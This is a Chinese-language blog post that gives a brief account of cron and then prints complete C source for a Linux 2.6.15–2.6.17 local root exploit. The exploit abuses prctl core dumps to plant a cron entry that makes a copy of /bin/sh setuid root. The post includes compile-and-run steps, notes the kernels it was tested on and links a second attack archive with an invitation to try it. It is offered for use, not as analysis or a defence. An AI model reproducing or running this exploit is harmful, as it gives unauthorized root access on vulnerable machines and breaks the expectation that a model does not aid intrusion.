注册 | 登录 忘记密码? 51cto首页 | 博客 | 论坛 | 招聘
热点文章 IB客座主编(四)美国西蒙公..
 帮助

获取linux 2.6.15 root权限


2007-03-04 14:19:25
 标签:linux   [推送到技术圈]

先介绍下cron,crontab文件可以让系统定时执行工作(相当于windows上的task计划),Cron是一个常驻程序(daemon),在开机时激活cron的daemon时,它会自动去检查相关目录,看看是否有任何cron文件。每一个user的可以去设定自己所要排定执行的工作。系统会定期执行 /etc/下的cron.d、cron.daily、cron.hourly、cron.weekly、cron.monthly目录下的命令。
我们关心的是怎么让它产生core dump,然后获取root权限。
正文]:
/*
 *getroot.c
 * 2006/11/08 Linux 2.6.15 Exp
 * Modified by gz1X <gz1X@tom.com>
 * Thx to:
 *
  • Marco Ivaldi  <raptor@0xdeadbeef.info>
     *
  • Julien TINNES
     *
     * Usage:
     * $ gcc getroot.c -o getroot -Wall
     * $ ./getroot
     *
     * test on dubuntu 2.6.15-23-686
     * theoretically it will work on 2.6.15-2.6.17
     */
    #include <stdio.h>
    #include <sys/resource.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <sys/prctl.h>
  • char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root    chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
    int main() {
        int id,i;
        struct rlimit   corelimit={RLIM_INFINITY, RLIM_INFINITY};
        system("cp /bin/sh /tmp/sh");
        setrlimit(RLIMIT_CORE, &corelimit);
        if ( !( id = fork() )) {
            chdir("/etc/cron.d");
            prctl(PR_SET_DUMPABLE, 2);
            sleep(200);
            exit(1);
        }
        kill(id, SIGSEGV);
        fprintf(stderr, "Getting the root shell.Please wait...\n");
        for (i = 0; i < 120; i++) {
            fprintf(stderr, ".");
            sleep(1);
        }
        fprintf(stderr,"\n");       
        system("/tmp/sh");
        return 1;   
    }

    [*[下载]:
    附上Julien TINNES的攻击源代码,大家可以尝试之。攻击效果非常好。各种linux平台都没问题。
    Julien TINNES-exp.zip 
    just enjoy!
    :-)


    上一篇 溢出实验  下一篇 哑巴监视器



        文章评论
     
    2007-03-10 10:18:52
    进来顶一下!

     

    发表评论

    昵   称:
    验证码:  点击图片可刷新验证码  博客过2级,无需填写验证码
    内   容: